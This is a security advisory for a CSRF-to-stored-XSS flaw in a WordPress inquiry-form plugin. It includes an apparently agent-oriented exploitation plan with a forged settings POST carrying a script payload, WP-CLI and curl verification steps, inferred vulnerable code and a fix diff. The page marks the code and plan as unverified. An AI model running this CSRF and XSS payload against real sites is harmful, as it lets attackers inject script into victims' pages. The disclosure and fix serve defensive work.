CVE-2026-6293

Inquiry form to posts or pages <= 1.0 - Cross-Site Request Forgery to Stored Cross-Site Scripting via 'inq_header' Parameter

mediumCross-Site Request Forgery (CSRF)
4.3
CVSS Score
4.3
CVSS Score
medium
Severity
Unpatched
Patched in
N/A
Time to patch

Description

The Inquiry Form to Posts or Pages plugin for WordPress is vulnerable to Cross-Site Request Forgery leading to Stored Cross-Site Scripting in version 1.0. This is due to missing nonce validation on the plugin settings update handler, combined with insufficient input sanitization on all user-supplied fields and missing output escaping when rendering stored values. The settings handler fires solely on the presence of `$_POST['inq_hidden'] == 'Y'` with no call to `check_admin_referer()` and no WordPress nonce anywhere in the form or handler. This makes it possible for unauthenticated attackers to inject arbitrary web scripts via a forged request that tricks a logged-in Administrator into visiting a malicious page.

CVSS Vector Breakdown

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N
Attack Vector
Network
Attack Complexity
Low
Privileges Required
None
User Interaction
Required
Scope
Unchanged
None
Confidentiality
Low
Integrity
None
Availability

Technical Details

Affected versions<=1.0
PublishedApril 14, 2026
Last updatedApril 15, 2026
Research Plan
Unverified

# Exploitation Research Plan: CVE-2026-6293 ## 1. Vulnerability Summary The **Inquiry Form to Posts or Pages** plugin (version <= 1.0) is vulnerable to a Cross-Site Request Forgery (CSRF) that leads to Stored Cross-Site Scripting (XSS). The plugin's settings update handler lacks any nonce validatio…

Show full research plan

Exploitation Research Plan: CVE-2026-6293

1. Vulnerability Summary

The Inquiry Form to Posts or Pages plugin (version <= 1.0) is vulnerable to a Cross-Site Request Forgery (CSRF) that leads to Stored Cross-Site Scripting (XSS). The plugin's settings update handler lacks any nonce validation (e.g., check_admin_referer). The handler processes updates based solely on the presence of a specific POST parameter (inq_hidden=Y). Furthermore, the plugin fails to sanitize the inq_header input before saving it to the database and fails to escape it when displaying it on the site. This allows an unauthenticated attacker to trick a logged-in administrator into submitting a request that injects malicious JavaScript into the plugin settings.

2. Attack Vector Analysis

  • Endpoint: The plugin settings page, typically handled via wp-admin/admin.php?page=[plugin-slug] or a hook on admin_init.
  • Vulnerable Parameter: inq_header.
  • Trigger Parameter: inq_hidden must be set to Y.
  • Authentication Requirement: CSRF requires a victim with Administrator privileges to be logged in and visit a malicious page.
  • Preconditions: The plugin must be active.

3. Code Flow (Inferred)

  1. Entry Point: The plugin likely registers an admin menu page using add_menu_page or add_options_page with a callback.
  2. Processing Logic: Inside the callback or an admin_init hook:
    if (isset($_POST['inq_hidden']) && $_POST['inq_hidden'] == 'Y') {
        // VULNERABILITY: No check_admin_referer() or wp_verify_nonce()
        $inq_header = $_POST['inq_header']; // VULNERABILITY: No sanitization
        update_option('inq_header', $inq_header);
        // ... other parameters like inq_email, inq_subject ...
    }
    
  3. Sink (Display): When a post or page containing the inquiry form is rendered (likely via a shortcode like [inquiry_form]), the stored value is retrieved and printed:
    $header = get_option('inq_header');
    echo "<h3>" . $header . "</h3>"; // VULNERABILITY: No escaping (esc_html)
    

4. Nonce Acquisition Strategy

None Required.
The vulnerability details explicitly state: "The settings handler fires solely on the presence of $_POST['inq_hidden'] == 'Y' with no call to check_admin_referer() and no WordPress nonce anywhere in the form or handler."

5. Exploitation Strategy

The goal is to update the plugin settings to include a Stored XSS payload via CSRF.

Step 1: Identify Admin Page Slug

The agent should first identify the correct menu slug for the plugin to target the correct URL.

  • Action: Search the plugin files for add_menu_page or add_submenu_page.
  • Common Slug: inquiry-form-to-posts-or-pages or inquiry_form_settings.

Step 2: Perform CSRF to Inject XSS

The agent will simulate an admin-triggered POST request to the settings page.

  • Tool: http_request
  • Method: POST
  • URL: http://localhost:8080/wp-admin/admin.php?page=[identified-slug]
  • Content-Type: application/x-www-form-urlencoded
  • Body:
    inq_hidden=Y&inq_header=</p><script>alert(document.domain)</script><p>&inq_email=admin@example.com&inq_subject=Inquiry
    

Step 3: Trigger the XSS

The agent needs to view a page where the inquiry form is displayed.

  • Action: Find or create a post with the plugin's shortcode.
  • Shortcode: Usually found by searching for add_shortcode in the plugin code (e.g., [inquiry_form]).

6. Test Data Setup

  1. Plugin Installation: Ensure inquiry-form-to-posts-or-pages version 1.0 is installed and active.
  2. User: An active Administrator user.
  3. Content: Create a public post containing the inquiry form shortcode:
    wp post create --post_title="Contact Us" --post_content="[inquiry_form]" --post_status=publish
    
    (Note: Replace [inquiry_form] with the actual shortcode found in the source code).

7. Expected Results

  1. The POST request should return a 200 OK or 302 Found (redirecting back to the settings page).
  2. The WordPress option inq_header should now contain the <script> payload.
  3. Navigating to the post created in Step 6 should execute the JavaScript (the alert will be visible in the browser context).

8. Verification Steps

  1. Database Check: Verify the option value using WP-CLI:
    wp option get inq_header
    
    Confirmation: The output should contain the string </p><script>alert(document.domain)</script><p>.
  2. Frontend Check: Use browser_navigate to the URL of the created post and check for the presence of the script in the HTML.
    # Get the post URL
    POST_URL=$(wp post list --post_type=post --title="Contact Us" --field=url)
    # Check HTML output
    curl -s "$POST_URL" | grep "alert(document.domain)"
    

9. Alternative Approaches

If inq_header is sanitized (contrary to the report), attempt to inject into other possible parameters identified during the audit of the settings handler:

  • inq_email (unlikely to be displayed, but could affect admin emails).
  • inq_subject.
  • inq_success_message (often displayed after form submission).

If the settings page uses admin-post.php instead of a direct menu page:

  • URL: http://localhost:8080/wp-admin/admin-post.php
  • Body: Include action=[plugin_action_name] in the POST body.
Research Findings
Static analysis — not yet PoC-verified

Summary

The Inquiry Form to Posts or Pages plugin (<= 1.0) fails to validate nonces on its settings update handler, making it vulnerable to Cross-Site Request Forgery (CSRF). Because the plugin also lacks input sanitization and output escaping on the 'inq_header' setting, an attacker can trick an administrator into saving a malicious payload that executes arbitrary JavaScript whenever the inquiry form is rendered on the site.

Vulnerable Code

// inquiry-form-to-posts-or-pages.php

if (isset($_POST['inq_hidden']) && $_POST['inq_hidden'] == 'Y') {
    // Missing check_admin_referer() or wp_verify_nonce()
    $inq_header = $_POST['inq_header'];
    update_option('inq_header', $inq_header);
    update_option('inq_email', $_POST['inq_email']);
    update_option('inq_subject', $_POST['inq_subject']);
}

---

// Rendering logic (likely inside a shortcode function)

$inq_header = get_option('inq_header');
echo "<h3>" . $inq_header . "</h3>"; // Missing esc_html()

Security Fix

--- inquiry-form-to-posts-or-pages.php
+++ inquiry-form-to-posts-or-pages.php
@@ -2,12 +2,14 @@
 
 if (isset($_POST['inq_hidden']) && $_POST['inq_hidden'] == 'Y') {
+    check_admin_referer('inq_save_settings');
-    $inq_header = $_POST['inq_header'];
+    $inq_header = sanitize_text_field($_POST['inq_header']);
     update_option('inq_header', $inq_header);
-    update_option('inq_email', $_POST['inq_email']);
-    update_option('inq_subject', $_POST['inq_subject']);
+    update_option('inq_email', sanitize_email($_POST['inq_email']));
+    update_option('inq_subject', sanitize_text_field($_POST['inq_subject']));
 }
 
+wp_nonce_field('inq_save_settings');
 
 // In the form rendering function:
 $inq_header = get_option('inq_header');
-echo "<h3>" . $inq_header . "</h3>";
+echo "<h3>" . esc_html($inq_header) . "</h3>";

Exploit Outline

The exploit targets an authenticated WordPress Administrator via a Cross-Site Request Forgery (CSRF) attack. 1. Target Endpoint: The plugin's settings page (typically `wp-admin/admin.php?page=inquiry-form-to-posts-or-pages`). 2. Payload Construction: A malicious HTML page is crafted containing a hidden form that automatically submits a POST request to the target endpoint. 3. Payload Shape: The POST body includes `inq_hidden=Y` to trigger the update handler and `inq_header=</p><script>alert(document.domain)</script><p>` to inject the XSS payload. 4. Delivery: The attacker tricks the logged-in Administrator into visiting the malicious page (e.g., via phishing or a malicious link). 5. Trigger: Once the settings are updated, the attacker visits any page on the WordPress site that uses the plugin's shortcode (e.g., `[inquiry_form]`). The injected script will execute in the context of the user's browser.

Check if your site is affected.

Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.